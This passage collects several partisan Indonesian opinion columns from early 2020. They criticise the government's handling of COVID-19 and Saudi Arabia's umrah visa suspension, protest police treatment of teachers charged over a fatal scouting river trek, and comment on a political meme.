seluruh dunia tercatat ada 80,363 orang yang terpapar, 2,706 diantaranya meninggal dunia. Terbanyak di Cina. 77,660 terpapar, dan 2,663 orang meninggal dunia. Total 44, termasuk negara tetangga dekat Indonesia seperti Singapura, Malaysia, dan Australia. Indonesia masih anteng-anteng saja. Hanya berpikir dampak ekonomi Kekhawatiran atas cara-cara penanganan virus Corona sesungguhnya sudah cukup lama muncul. Berbagai statemen dari para pejabat tinggi, termasuk Presiden Jokowi membuat publik skeptis. Menkes Terawan menyatakan, Indonesia bebas dari virus Corona berkat do’a-doa yang banyak dipanjatkan. Pernyataan itu sangat konyol dan menganggap enteng persoalan. Menko Maritim Luhut Panjaitan malah berharap TKA Cina segera kembali ke Indonesia setelah menjalani karantina. Sikap ini sangat abai dengan keselamatan bangsa dan hanya fokus pada pendapatan negara. Bahwa negara lebih khawatir atas dampak ekonomi ketimbang menyelamatkan nyawa rakyatnya, juga terlihat dari kebijakan Presiden Jokowi. Presiden sangat naif dan menganggap Indonesia kebal terhadap virus. Justru Indonesia bisa memgambil untung dari musibah dunia ini. Dalam rapat kabinet terbatas lanjutan atas dampak virus Corona terhadap perekonomian Indonesia Selasa (25/2) Jokowi memberi pengarahan. Kepada anggota kabinet agar memanfaatkan kegiatan konferensi di dalam negeri, serta menyasar ceruk pasar wisatawan manca negara yang mencari alternatif destinasi wisata karena batal berkunjung ke China, Jepang dan Korea Selatan. Kebijakan ini lah tampaknya yang menjelaskan mengapa kemudian pemerintah memutuskan memberi diskon tiket penerbangan ke beberapa destinasi wisata di dalam negeri. Pemerintah juga menyediakan anggaran sebesar Rp 72 miliar untuk influencer agar ikut membantu menarik wisatawan ke Indonesia. Coba bayangkan. Bagaimana logika berpikirnya? Ketika negara-negara lain melakukan langkah preventif dan membatalkan berbagai acara penting, pemerintah Indonesia malah mencoba menarik sebanyak mungkin wisatawan, termasuk berharap tenaga kerja China segera kembali. Gelaran Singapura Airshow batal. Singapura Airlines dan anak perusahaannya membatalkan 30 penerbangan ke Indonesia. Jeneva Motor Show di Swiss yang semula akan digelar 5-15 Maret dibatalkan. KTT AS-Asean juga ditunda. KTT yang akan dihadiri oleh Presiden Jokowi itu semula akan digelar pada tanggal 14 Maret di Las Vegas AS. Namun karena 60 orang warga AS terpapar virus itu Presiden Trump memutuskan menunda. Padahal Jokowi sudah berencana hadir dan sudah menyiapkan pesawat kepresidenan yang baru. Pemerintah Arab Saudi memutuskan untuk menghentikan umroh dari sejumlah negara, termasuk Indonesia. Sementara India juga mulai mewaspadai Indonesia. Mereka memindai semua penumpang yang berasal dari Indonesia dan sembilan negara lainnya yang sudah positif terpapar Corona. Kebijakan beberapa negara tersebut menunjukkan betapa mereka sangat serius dan waspada menghadapi kemungkinan dampak virus Corona. Sebaliknya Indonesia malah membuka diri lebar-lebar pintunya, hanya dengan pertimbangan masalah ekonomi. Dengan kebijakan dan langkah-langkah yang diambil pemerintah, tidak perlu heran bila dunia mempertanyakan Indonesia. Laman media Inggris Daily Mail edisi Ahad (2/3) menulis, Indonesia memiliki populasi lebih dari 267 juta orang, tetapi pada Sabtu pagi Indonesia dilaporkan hanya menguji 136 orang untuk COVID-19. Semuanya dengan hasil negatif. Mereka membandingkan dengan negara bagian New South Wales, Australia yang memiliki penduduk hanya 8 juta jiwa. Mereka telah menguji lebih dari 2.200 orang, dan menemukan empat kasus. Negara tetangga, Malaysia, Thailand, Singapura, dan Australia memiliki populasi lebih kecil daripada Indonesia tetapi telah melakukan tes setidaknya sepuluh kali lebih banyak. Semuanya telah melaporkan sejumlah kasus. Percaya diri dan optimis sangat penting. Tapi jangan sampai tidak waspada, teledor, apalagi ceroboh dan mengecil-ngecilkan persoalan. Bukankah pepatah lama mengajarkan “Lebih baik sedia payung sebelum hujan.” Bersiap dan waspada, jangan sampai terkaget-kaget ketika bencana tiba. Jumlah penduduk Indonesia sangat besar. Keempat terbesar di dunia. Bila sampai virus Corona merebak dan tak tertangani secara baik, bisa menjadi bencana besar. Bukan hanya bagi Indonesia. Tapi juga dunia. End. Penulis wartawan senior.

Telefon dari Cucu Tentang Virus Corona dan Influenza 72-M

By Asyari Usman Jakarta, FNN - Tiba-tiba cucu saya yang berusia 5 tahun menelefon. Anak TK ini, rupanya, rajin mengikuti berita tentang virus Corona. Dia tahu keresahan seluruh dunia gara-gara virus ganas yang belum ada obatnya itu. Si cucu langsung bilang, “Kakek tau enggak, virus Corona sudah menjangkiti 60 negara. Tapi, Alhamdulillah, Indonesia tidak kena ya, Kek.” “Iya, bersyukur sekali kita,” jawab saya. Tapi, si cucu lanjut bertanya, “Kek, seluruh dunia takut sama Corona. Indonesia kok tenang-tenang aja?” “Iya. Karena di Asia Tenggara yang kena Corona itu ‘kan Malaysia, Singapura, Filipina, Thailand, Vietnam, dll.” “Oh, gitu ya Kek. Terus, negara-negara yang Kakek sebut itu letaknya di mana, Kek?” “Yah, di Bumi.” “Bumi itu apa ya, Kek?” Waduh, ternyata cucu yang masih anak TK ini banyak sekali ingin tahunya. Tapi, harus terus saya layani. Supaya literasinya bertambah. Siapa tahu, kalau dia kelak menjadi presiden, dia tak perlu mencari gorong-gorong sebagai sumber inspirasi untuk menipu rakyat. “Kakek, kok enggak dijawab? Bumi itu apaaa?” “Bumi itu planet.” “Oh, jadi Malaysia, Singapura, Filipina, Thailand, Vietnam, dll itu berada di Bumi ya Kek?” “Iya, benar.” “Berarti Indonesia berada di planet lain ya Kek? Bukan di Bumi? Sehingga tidak kena virus Corona. Gitu ‘kan Kek?” “Bukan begitu. Indonesia juga berada di Bumi. Bahkan bertetangga dengan negara-negara yang Kakek sebutkan tadi.” “Lho, plesiden yang lain-lain itu sibuk urus Corona. Kok plesiden kita santai aja, Kek? ‘Kan sama-sama tinggal di Bumi…” “Husss, kamu ini ‘nyindir Pak Jokowi ya?” “Emangnya Om Jokowi itu ‘ngapain aja, Kek? Kok enggak sibuk Corona?” “Pak Jokowi itu banyak kerjanya. Jadwalnya padat. Banyak proyek infrastruktur. Mau pindahkan ibukota. Mikirkan utang juga. Terus, anak-menantu beliau ingin menjadi walikota. Pokoknya, Pak Jokowi itu enggak ada waktu untuk ngurusin Corona.” “Gini aja Kek. Om Jokowi ‘kan bisa suruh wakilnya, Mbah Ma’ruf Amin, ngurusin Corona... Seperti di Amerika itu lho, Kek. Plesiden Tlump nyuruh wakilnya, Om Mike Pence, sebagai ketua satgas Corona.” Wah, repot juga saya melayani cucu anak TK ini. Dia sangka wapres di Indonesia sama dengan wapres di Amerika. Saya katakan ke cucu, “Mbah Ma’ruf itu banyak juga tugasnya. Dia ngurusi Pancasila, Islam Nusantara, radikalisme di tingkat TK, dan lain sebagainya.” “Hemm, repot ya Kek. Kalau gitu, Om Jokowi bisa suruh Oppung Luhut aja yang urus Corona. Oppung ‘kan suka banget China. Apa-apa China. Investasi dari China. Pinjam duit dari China. “Cocok itu Kek. Oppung Luhut aja yang urus Corona. ‘Kan Corona datang dari China juga.” Terpaksa saya potong percakapan dengan cucu. “Yah udah sana. Kamu bilang langsung ke jurubicara milenial di Istana. Banyak kok yang diangkat Pak Jokowi. Biar ada kerjaan mereka. Percuma digaji 50 juta sebulan.” “Jangan marah-marah dong, Kakek. Ntar kena ‘influenza 72-M’.” Hehe. Mungkin maksud si cucu, ‘influencer 72-M’. Bukan ‘inlfuenza 72-M’.”[] 1 Maret 2020 Penulis wartawan senior.

Guru Tersangka Susur Sungai Bukan Begal Motor!

Oleh Mochamad Toha Jakarta, FNN - Tiga anggota Provost dan seorang anggota Polres Sleman berpakaian preman tampak sedang “mengawal” tiga guru yang menjadi tersangka “Susur Sungai”. Ketiga guru ini berpakainan orange tanpa alas kaki dengan kepala plontos, digunduli! Mereka seolah sudah berbuat kriminal seperti begal. Padahal, mereka itu pendidik, bukanlah begal motor! Tidak sepantasnya diperlakukan seperti itu oleh anggota Polres Sleman. Mereka menjadi tersangka hanya karena “kelalaian”, bukan sengaja. Perlakuan aparat Polres Sleman, Jogjakarta, terhadap tiga tersangka kasus “Susur Sungai” yang menggunduli para guru ini membuat PB PGRI bereaksi keras. Ketua PB PGRI Dudung Nurullah Koswara membuat tulisan, “Guru Bukan Begal Motor!” Menurutnya, kelalain dan keteledoran bukan kriminal. Apabila benar guru yang lalai dalam kasus viral Susur Sungai yang menyebabkan korban para siswa SMPN 1 Turi, Sleman, Jogja dibotakin, sungguh tuna adab! “Mengapa saya katakan tuna adab? Memang benar-benar tuna adab!” tegasnya. Si pelaku pembotakan terhadap guru atau yang memberi perintah pasti sosok “setengah manusia”. “Mengapa saya katakan demikian?” katanya. “Entah terbuat dari apa tangan, isi otak dan isi hati seorang pemberi perintah atau pelaku pembotakan terhadap guru-guru yang lalai dan khilaf dalam kasus susur sungai,” lanjut Dudung. Seorang pendidik dan penulis buku, Ade Chairil Anwar mengatakan, “Sebagai manusia, tentu khilaf dan lupa mereka perlu kita maafkan, kita akui ada korban jiwa dalam peristiwa itu, tapi memperlakukan mereka tak ubahnya seperti maling, sungguh tak manusiawi”. Komentar Nzank Kartiwa, seorang guru muda berprestasi dan pernah belajar di Australia utusan dari Disdik Provinsi Jabar mengatakan, “Guru tersebut silakan untuk diadili sesuai pelanggarannya tapi akan terlihat berbudaya dan beretika tatkala guru itu tidak digunduli seperti itu”. Cecep Taufiq Mubarak Yusuf seorang guru milenial menyatakan, sebelum ada vonis bersalah dari pengadilan siapa pun, termasuk penyidik tidak bisa menentukan seseorang bersalah atau tidak. Bersalah dan tidak bersalah adalah otoritas hakim di pengadilan. Baginya pembotakan para guru itu sungguh melanggar etika. Sejumlah komentar yang sangat menyayangkan dugaan tindakan “pembotakan” terhadap guru mulai viral. Oknum jenis apa yang tega membotakin para guru? “Adakah oknum penegak hukum yang tak punya etika memperlakukan seorang guru yang khilaf dan lalai sama persis dengan perilaku kriminal sekelas begal?” tanya Dudung. “Mari seluruh guru Indonesia memberikan dukungan moral pada guru yang diperlakukan bagai begal, pencuri motor dan pemerkosa. Di mana pun dan kapan pun warga negara bahkan guru yang lalai dan melakukan kebodohan tidak harus diperlakukan tak terhormat,” tegasnya. Mereka manusia yang lalai dan tak berniat jahat! Menurutnya, bangsa biadab adalah bangsa yang memuliakan koruptor namun membotaki guru yang lalai karena sebuah kegiatan yang niatnya baik. “Kegiatan pramuka itu kegiatan yang baik, bedakan dengan kelalaian dan keteledoran,” kata Dudung. Juga, bedakan antara begal motor dengan guru yang lalai. Bila benar ada guru yang dibotakin, tanpa alas kaki dengan baju pesakitan layaknya begal sungguh ngeri dan sadis! Begitu ungkap Dudung. Ngeri melihat, sejumlah orang menyaksikan saat petugas menggiring tiga orang yang dibotakin, kaki telanjang dan baju pesakitan. “Benarkah dalam video viral itu ketiganya ada gurunya?” tanya Dudung lagi. Menurut Dudung, sesadis-sadisnya bangsa kafir Quraisy dan peradaban kuno tak ditemukan bukti memperlakukan guru sedemikian tidak adab. “Sungguh Ibu Pertiwi akan menangis dan kebathinan guru akan terkoyak, memberontak bila guru yang khilaf dan lalai disamakan dengan begal motor! Hukum dan pengadilan itu harus ditegakan dengan baik,” ungkap Dudung. Namun di atas hukum dan pengadilan mesti hadir etika, keadilan dan pemandangan elok bagi publik. Apakah tiga orang pendidik dan pembimbing pramuka yang dibotakin, kaki telanjang, baju pesakitan bagi mata publik pantas dan layak? Polres Sleman memublikasikan tiga tersangka yang dinilai lalai saat kejadian tewasnya 10 pelajar SMPN 1 Turi, Sleman Jogjakarta pada kegiatan Pramuka: susur Sungai Sempor pada Jumat (21/2/2020). Tiga tersangka merupakan pembina Pramuka, yakni Isfan Yoppy Andrian (36), Riyanto (58), Danang Dewo Subroto (58). Yoppy merupakan guru Olahraga dan Riyanto adalah guru Seni Budaya di sekolah tersebut. Keduanya adalah pegawai negeri sipil (PNS). Sementara Danang merupakan pembina Pramuka dari luar sekolah. Ia adalah pekerja swasta yang memiliki sertifikat kursus mahir dasar (KMD). Di depan media di Polres Sleman, Selasa (25/2/2020) Yoppy mengakui karena kelalaiannya menyebabkan siswa-siswinya celaka hingga membuat 10 di antaranya meninggal dunia “Saya mengucapkan permohonan maaf yang sebesar-besarnya kepada instansi saya SMPN 1 Turi karena atas kelalaian kami terjadi hal seperti ini. Kami sangat menyesal dan memohon maaf kepada keluarga korban terutama kepada korban yang sudah meninggal,” tambahnya. Yoppy mengatakan sudah menjadi resiko dirinya untuk bertanggung jawab sebagai pembina Pramuka sekaligus guru. “Jadi memang sudah menjadi resiko kami sehingga apapun yang menjadi keputusannya nanti akan kita terima. Kemudian semoga keluarga korban bisa memanfaatkan kesalahan-kesalahan kami,” kata Yoppy. Dalam pengakuannya, Yoppy yang menjadi inisiator dalam kegiatan susur sungai itu berdalih bahwa kondisi sungai saat sebelum kejadian aman. Sehingga, ia yakin ratusan siswanya bisa mengikuti kegiatan itu dengan selamat. “Karena cuaca belum seperti pas kejadian. Jadi, pada saat itu jam 13.15 saya siapkan anak-anak, kemudian 13.30 saya berangkatkan itu cuaca masih belum hujan. Kemudian saya ikuti sampai ke sungai di atasnya di jembatan itu airnya juga tidak deras,” katanya. Saat sampai di garis mula untuk susur sungai, kata dia, air juga tidak deras. Sesampainya di garis mula Yoppy meninggalkan siswa, ia pergi ke bank dengan alasan mentransfer uang. Yoppy yakin meninggalkan anak-anak karena terdapat teman yang mendampingi siswa dan terbiasa mengurus susur Sungai Sempor. “Sehingga saya juga yakin aja enggak akan terjadi apa-apa,” katanya. Yoppy tetap berkukuh agar susur sungai yang menurutnya bagian dari latihan pembentukan karakter tetap terlaksana. Susur sungai, menurutnya, penting untuk mengenalkan anak-anak pada sungai karena anak-anak saat ini dinilai banyak yang tidak lagi bermain di sungai. Sementara tersangka Riyanto berdalih ia tak ikut mendampingi 249 siswa terjun ke sungai karena menunggui barang-barang siswa di sekolah dan melakukan presensi terhadap anak-anak usai susur sungai. Riyanto yang merupakan Ketua Gugus Depan Pramuka di sekolah tersebut mengatakan tak mencegah ratusan siswa untuk melaksanakan susur sungai karena cuaca dinilainya masih memungkinkan. “Kalau nanti terjadi [sesuatu di lapangan] waktu itu berangkat dilepas dari sekolah itu yang saya amati mendungnya itu pengamatan saya itu tipis,” ujarnya. Ternyata apa yang diamati Riyanto itu dalam kenyataannya berbeda, sehingga terjadilah musibah tersebut. Pasca kejadian peristiwa susur sungai, Ketum PBPGRI Prof. Dr. Unifah Risyidi, langsung proaktif terjun ke lapangan didampingi ahli hukum LKBH PGRI Dr. KH. Wahyudi. Prof. Unifah melihat langsung dan memberikan bantuan hukum bagi para guru yang terlibat. Hak guru dalam perlindungan hukum harus dadapatkan sesuai UURI No 14 Tahun 2005 dan sebagai hak warga negara. Melihat saat ini ada “pembotakan” pada guru, dalam twitter-nya Prof. Unifah terlihat marah dan bahkan mengancam turun ke jalan. Bisa dibayangkan, jika Prof. Unifah memerintahkan para guru bersatu turun ke jalan demi membela kehoramatan guru, jelas itu bahaya! Upaya penegakan hukum kepada guru jangan disamakan dengan begal. Guru bukan begal! Kelalaian guru dalam kegiatan pramuka itu bukanlah perilaku begal. Kehormatan guru mesti ditegakkan dengan adil saat penegakan hukum ditegakkan. Melansir Tirto.id, Rabu (26 Februari 2020), Kabid Humas Polda DIJ Kombes Pol Yuliyanto memberikan penjelasan atas protes dari PGRI terkait guru yang jadi tersangka kasus susur sungai di Turi, Sleman, digunduli. “Menyikapi protes yang disampaikan oleh akun PGRI tentang tahanan yang gundul. Propam Polda DIY dari tadi pagi sedang melakukan pemeriksaan di Polres Sleman untuk mengetahui pelanggaran yang dilakukan oleh anggota,” kata Yuliyanto, Rabu (26/2/2020). “Jika nanti terbukti ada pelanggaran maka akan dilakukan tindakan kepada petugas yang menyalahi aturan,” tambah dia. *** Penulis wartawan senior.

Seluruh Dunia Takut Virus Corona, Bisakah Dipercaya Indonesia Masih Steril?

By Asyari Usman Jakarta, FNN - Seluruh dunia mencemaskan penyebaran virus Corona (nama resminya Covid-19). Swiss memberlakukan larangan berkumpul di atas 1,000 orang. Event-event besar dibatalkan. Jepang menutup semua sekolah SD, SMP dan SMA sampai April. Rusia mendeportasi orang-orang yang melanggar wajib karantina. Belarus memberlakukan wajib tes untuk orang-orang yang tiba dari Korea Selatan, Iran dan Italia. Tiga negara ini mencatat jumlah terbanyak kasus virus Corona di luar China. Serawak (Malaysia Timur) melarang masuk orang-orang yang pernah pergi ke Korea Selatan (Korsel). Presiden Duterte membebastugaskan sejumlah pegawai imigrasi karena meloloskan orang China masuk ke Filipina di tengah wabah Corona saat ini. Diduga, para petugas imigrasi itu menerima uang pelicin. Banyak negara mengambil tindakan keras. Mereka sangat khawatir terhadap invasi Covid-19. Arab Saudi melarang masuk jamaah umrah dari Indonesia. Di Abu Dhabi, penguasa setempat menutup total dua hotel mewah yang di dalamnya ada dua warga Italia yang tertular Corona. Berbagai laga sepak bola, rugby dan baseball ditunda di segenap penjuru dunia. Sebagian tetap dilaksanakan tetapi di stadion kosong tanpa penonton. Termasuk sejumlah pertandingan Serie A (liga utama Italia). Sejauh ini, sudah 60 negara yang tertular Covid-19. Tidak ada satu pun benua yang steril dari virus baru ini. Sekarang ini Korea Selatan, Iran dan Itali muncul menjadi basis penyebaran baru. Korea Selatan mencatat 2,931 kasus dengan 18 kematian. Jumlah kasus baru di Korsel cukp cepat. Di Italia, jumlah tertular tercatat 889 orang; 21 meninggal dunia. Sedangan di Iran, jumlah penderita 388 orang (terbesar ketiga di luar China) dengan korban meninggal 34 orang. Organisasi Kesehatan Dunia (WHO) menaikkan tingkat kewaspadaan Covid-19 ke level tertinggi. Dirjen WHO Tedros Adhanom Ghebreyesus mengatakan, semua negara harus agresif bertindak agar penyebaran virus ini bisa diperlambat. Di seluruh dunia, jumlah yang meninggal akibat Covid-19 tercatat 2,924 orang per Sabtu sore (WIB), 29/2/2020. Jumlah penyandang virus ini mencapai 85,222 orang. Bagaimana dengan Indonesia? Para diplomat Barat, termasuk Amerika Serikat, menyatakan kekhawatiran mereka terhadap cara pemerintah Indonesia menangani ancaman Covid-19. Sejauh ini, pemerintah mengatakan tidak ada penderita virus baru itu. Memang ada pengamatan dan tes laboratorium yang dilakukan atas 136 terduga Corona, namun semuanya dinyatakan negatif. Informasi ini terbaca di lembaran laporan grafis yang kelihatannya dikeluarkan oleh Badan Penelitian dan Pengembangan Kesehatan (Balitbangkes) berdasarkan kesimpulan Laboratorium Rujukan Nasional Penyakit Infeksi per 27 Februari 2020. Lembaran “confidential” (rahasia) ini menyebutkan kasus dalam pengawasan tersebar di 44 rumahsakit di 22 provinsi. Ke-136 terduga itu semuanya negatif Corona. Sedikit mengherankan mengapa dokumen yang berlabel rahasia ini bisa beredar di media sosial. Bisakah dipercaya Indonesia tanpa virus Corona? Inilah yang menjadi perdebatan dan perbincangan hangat. Banyak yang tak percaya. Tapi ada juga yang percaya, khusunya Menteri Kesehatan Terawan Agus Putranto dan jajarannya. Hanya saja, guru besar epidemiologi di Universitas Harvard, AS, Prof Marc Lipsitch mengatakan secara statistik, Indonesia tak mungkin bebas dari virus Corona. Nah, apakah ada yang disembunyikan oleh para penguasa? Kalau jawabannya iya, tentu akan sangat riskan bagi Presiden Jokowi. Posisi politik presiden yang sering diguyonkan para netizen itu bisa terancam jika ada yang ditutup-tutupi terkait penyebaran Covid-19 di Indonesia. Tapi, Menkopolhukam Mahfud MD menegaskan di Yogyakarta, Sabtu (29/2/2020) bahwa tidak benar tuduhan pemerintah menutup-nutupi fakta Corona di Indonesia. Mahfud menekankan Indonesia masih bebas Corona. Seharusnyalah rakyat percaya kepada pemerintah. Tetapi, ketika orang di sekeliling kita kalang kabut akibat ketularan Corona, bisakah dipercaya Indonesia masih steril?[] 29 Februari 2020 Penulis wartawan senior.

Allah Isolasi RR China - 2 : Corona Hempaskan Impian Jutaan Manusia

Oleh Mangarahon Dongoran Jakarta, FNN.CO.ID - KEPUTUSAN pemerintah Arab Saudi menghentikan sementara pelayanan visa Ibadah Umroh dan Ziarah dirasakan sangat mendadak. Akibatnya, hari pertama keputusan itu berlaku menyebabkan 2.393 calon jemaah umrah tidak berangkat. Jumlah tersebut berasal dari 75 Penyelenggara Perjalanan Ibadah Umrah (PPIU) yang diangkut delapan maskapai penerbangan. Akibatnya, banyak calon jemaah umroh yang sudah berada di Bandara Sukarno-Hatta tidak jadi terbang. Tas coper yang menjadi ciri khas jemaah umroh pun terlihat berjejer di dekat meja chek in, tetapi tidak dilayani. Selain tidak berangkat, di hari pertama keputusan pemerintah kerajaan Arab Saudi itu juga tercatat 1.685 calon jemaah umroh yang tertahan di negara ketiga pada saat transit dan dipulangkan ke tanah air. Pihak PPUI tidak memperkirakan akan ditutupnya pelayanan visa umroh secara mendadak. "Tidak sampai seperti petir .. (di siang bolong). Hanya saja sampai ditutup kaget juga," kata Ketua Umum Sarikat Penyelenggara Umrah dan Haji (SAPUHI), Syam Resfiadi melalui pesan WA kepada FNN.CO.ID. Penghentian sementara pelayanan visa ibadah umroh dan ziarah itu tentu mengagetkan semua pihak, termasuk calon jemaah umroh. Banyak kerugian yang diderita pihak-pihak terkait. Syam Resfiadi mengungkapkan kerugian dari sisi penyelenggara bisa mencapai R 1 triliun dalam dua pekan ke depan. Sebab, biro travel umrah setidaknya memberangkatkan 50-60 ribu jemaah per dua minggu. Jadi, kata Syam, jika rata- rata satu jemaah Rp 20 juta dikalikan 50.000, itu kerugian mencapai Rp 1 triliun. Itu kalau penghentian sementara berlangsung dua minggu. Semakin lama penghentian pelayanan visa umroh maka semakin besar potensi kerugian yang dialami PPIU. Penghentian sementara pelayanan visa umroh itu membuat biro travel umroh sibuk untuk membatalkan hotel dan penerbangan. Sebab, jika visa sudah terbit, otomatis sudah ada booking hotel dan penerbangan. Kesibukan membatalkan pesanan hotel dan penerbangan misalnya disampaikan Direktur Utama Tima Wisata Umroh dan Haji, Tinny Prayogi. "Ini dengan adanya stop visa, saya jadi sibuk untuk cancel-cancel hotel, transportasi dan lain-lain yang sudah di book di Saudia," kata Tinny dalam pesan WA, Kamis, 27 Februari 2020. Tidak ada batas waktu penghentian sementara pelayanan visa umroh tersebut. Keputusan pemerintah Arab Saudi itu dibuat guna mengantisipasi penyebaran virus corona di Tanah Suci. Keputusan tersebut berlaku bagi semua negara yang memberangkatkan jemaah umroh. Akan tetapi, menjadi pertanyaan mengapa jemaah Indonesia menjadi korbannya? Bukankah pemerintah Indonesia berulangkali menegaskan bahwa Indonesia aman dari penyebaran virus corona? Kalau aman, mestinya Indonesia tidak ikut merasakan penghentian sementara pelayanan visa tersebut. Mestinya, pemerintah harus membawa bukti jelas untuk meyakinkan pemerintah Arab Saudi bahwa belum ada penularan Covid-19 di Indonesia. Akan tetapi, harap maklum, keterangan pemerintah itu tidak dipercaya oleh masyarakat dunia. Bahkan, Organisasi Kesehatan Dunia (WHO) pun mempertanyakannya. Beberapa negara mempertanyakannya, terlebih lagi begitu leluasanya TKA China keluar masuk Indonesia, terutama di awal Covid-19 mewabah, dan di saat negara-negara lain sudah menghentikan perjalanan dari dan ke RR China. Pemerintah bohong? Ada informasi yang menyebutkan, pemerintah Kerajaan Arab Saudi menghentikan pelayanan visa umroh ke Indonesia karena sebelumnya ada jemaah umroh asal Indonesia yang terpapar virus corona saat melaksanakan ibadah di Tanah Suci. Menurut informasi yang diperoleh, deteksi itu dilakukan pihak kesehatan Arab Saudi dan jemaah sudah pulang ke Indonesia dalam keadaan belum sembuh total. Jika informasi ini benar, dan pemerintah tetap mengatakan Indonesia masih bebas dari Covid-19, maka pantaslah banyak negara yang mempertanyakan kebenaran pernyataan itu. Pemerintah Indonesia seakan-akan menutupinya demi membela kepentingan China di Indonesia. Apakah penjelasan pemerintah itu benar atau bohong? Apakah pemerintahan Joko Widodo-Ma'ruf Amin akan tetap pada pendirianya seperti itu? Terlebih lagi berita terakhir menyebutkan turis Jepang yang sedang berada di Bali terkena corona. Akan tetapi, pihak kementerian kesehatan memerintahkan agar turis itu tinggal di hotel saja alias isolasi. Kita hanya berdoa, semoga Allah subhanahu wa ta'ala menjauhkan virus corona dari keluarga dan rakyat Indonesia. Sebab, corona telah menyebatkan serangan ke berbagai sudut, terutama serangan terhadap perekonomian. Corona juga telah menghempaskan impian dan cita-cita jutaan orang. Ya, jutaan orang, karena berapa banyak manusia yang tidak bisa lagi bebas melakukan perjalanan ke berbagai negara, terutama ke China, ke Arab Saudi untuk umroh. (Habis). Penulis, Wartawan Senior

Allah Isolasi RR China Dengan Corona - 1

Oleh Mangarahon Dongoran "Sesungguhnya urusan-Nya apabila Dia menghendaki sesuatu hanyalah berkata kepadanya, Jadilah! Maka jadilah ia. (Qur'an Surat Yasin ayat 82). Jakarta, FNN.co.id - AWALNYA Virus Corona ditutup-tupi oleh pemerintah komunis RR China atau Tiongkok. Bahkan, orang yang sempat mengungkapkannya ke masyarakat dunia "diisolasi" pemerintah negara tirai bambu itu. Akan tetapi, namanya virus, ya susah dibendung untuk berjangkit ke mana saja. Virus Corona akhirnya menyebar ke beberapa negara. Berdasarkan data terakhir, jumlah korbannya sudah mencapai 83.265 kasus dan 2.858 orang meninggal dunia. Covad-19 telah menginveksi 50 negara. Di negara panda itu sendiri, pemerintahnya tidak mampu mengatasinya dalam seketika. Wuhan yang menjadi awal serangan Corona pun akhirnya diisolasi sendiri oleh pemerintah China. Pembangunan rumah sakit kilat ( hanya delapan hari selesai), tak mampu membendung virus yang diduga berasal dari kelelawar itu. Kita bisa menyaksikan di media resmi, Wuhan sudah menjadi kota mati. Beberapa kota lainnya juga menyusul Wuhan. Tidak hanya pemerintah Tiongkok yang mengisolasi Wuhan dan kota-kota lainnya. Hampir seluruh negara di dunia yang memiliki hubungan strategis pun melarang warganya mengunjungi China dan tidak menerima kunjungan atau turis dari China. Bahkan, Israel yang merupakan sekutu dekat Beijing pun menutup pintu bagi kedatangan warga China dan tidak membolehkan warganya berkunjung ke China. Negara lain memperlakukan hal yang sama. Jika ada warganya yang baru pulang dari China, harus diisolasi terlebih dahulu. Pemerintah Indonesia juga memberlakukan hal yang sama, seperti isolasi di Pulau Natuna selama 14 hari. Mahasiswa yang menuntut ilmu di China dipulangkan. Penerbangan ke dan dari China dihentikan. Bahkan, impor dari negara tersebut pun dilarang sejumlah negara, terutama berupa makanan dan minuman, termasuk buah-buahan. China dikucilkan Kini China diisolasi oleh dunia. Negara komunis itu dikucilkan, tanpa harus perang dagang, tuduhan membuat senjata pemusnah massal, dan tuduhan pelanggaran macam-macam. Pemerintah Indonesia yang awalnya terlihat tenang atau pura-pura tenang dalam menghadapinya, toh akhirnya goyah. Banyak tudingan yang menyebutkan Tenaga Kerja Asing asal China masih bisa masuk ke Indonesia. Pemerintah terutama Si Luhut B. Panjaitan selalu menjawab tidak masalah. Jawaban hampir sama juga disampaikan Presiden Joko Widodo, yang terang-terangan membela kepentingan China di Indonesia. Adanya pekerja China yang mati di sebuah apartemen di Meikarta, Kabupaten Bekasi, Jawa Barat yang diberitakan tertular viris Corona dibantah pemerintah. Pun juga karyawan perusahaan asal China yang berkantor di gedung Bank Rakyat Indonesia (BRI), kawasan Semanggi, Jakarta Pusat yang diimbau memakai masker redup setelah Menteri Kesehatan, dr. Terawan mengunjunginya tanpa menggunakan masker. Akan tetapi, apa yang dilakukan dan dijelaskan pemerintah itu tetap tidak mampu membendung efek COVIS-19 itu. Meski awalnya menolak, pada akhirnya pemerintah juga mengakui bahayanya virus Corona itu. Menteri Tenaga Kerja dan Transmigrasi pun mengeluarkan surat yang melarang penggunaan TKA asal China. Kementerian Perhubungan juga melarang seluruh penerbangan maskapai Indonesia ke China. Begitu mudahnya Allah mengisolasi China dengan Corona. Isolasi tanpa perang dagang, isolasi tanpa tuduhan mengembangkan senjata nuklir, dan tuduhan-tuduhan lainnya yang biasanya dilakukan Amerika Serikat dan Barat untuk menekan lawan-lawannya atau negara yang tidak mau tunduk pada kepentingannya. Apakah pemerintah tetap bertahan mengatakan Indonesia masih bebas dari virus Corona? Kalau masih bebas, mengapa Arab Saudi menghentikan pelayanan visa umroh sejak 27 Februari 2020. Bahkan, ada calon jemaah yang sudah terbang, harus kembali. Banyak jemaah yang sudah siap berangkat dari Bandara Soekarno-Hatta, tapi gagal berangkat. (Bersambung)** Penulis wartawan senior.

My President Is An Idiot?

Oleh Hersubeno Arief Jakarta, FNN - Di media sosial dalam beberapa hari belakangan beredar meme dan desain kaos “My President Is An Idiot.” Usut punya usut meme dan desain kaos itu merupakan balasan atas aksi Abu Janda Dkk yang mengenakan kaos bertulisan “My Governor Is An Idiot.” Diduga Abu Janda alias Permadi Arya yang dikenal sebagai buzzer pendukung pemerintah ini, ingin mengolok-olok Gubernur DKI Anies Baswedan. Aksi ini merupakan salah satu paket bullyan yang memanfaatkan momentum banjir besar di Jakarta. Berdasarkan pengakuannya beberapa waktu lalu Permadi warga Bandung, Jawa Barat. Jadi olok-olok ini yang terkena bukan Anies. Sejumlah netizen menilai Permadi sedang mengolok-olok Gubernur Jawa Barat Ridwan Kamil (RK). Logika yang masuk akal. Gubernur Permadi adalah RK bukan Anies. Dengan menggunakan logika semacam itu memang tidak ada alasan bagi Anies untuk berang, marah, apalagi membawa kasusnya ke ranah hukum. Netizen malah mendorong RK yang seharusnya membawa kasus ini ke ranah hukum. Apalagi banjir besar juga melanda wilayah Jabar. Bekasi yang bertetangga langsung dengan Jakarta, banjir parah. RK dipersalahkan karena dia tak nampak hadir dan memberikan bantuan kepada para korban. Beda dengan Anies yang langsung terjun ke lapangan. Dia memantau detik demi detik pergerakan banjir dan memastikan korban mendapat bantuan. Melalui medsos, RK diketahui malah tengah asyik goyang Tik Tok dengan artis Cinta Laura nun jauh di Australia sana. Sebuah pemandangan yang kontras dan ironis. Mendapat hujatan di medsos, RK buru-buru pulang ke Bandung. Dia 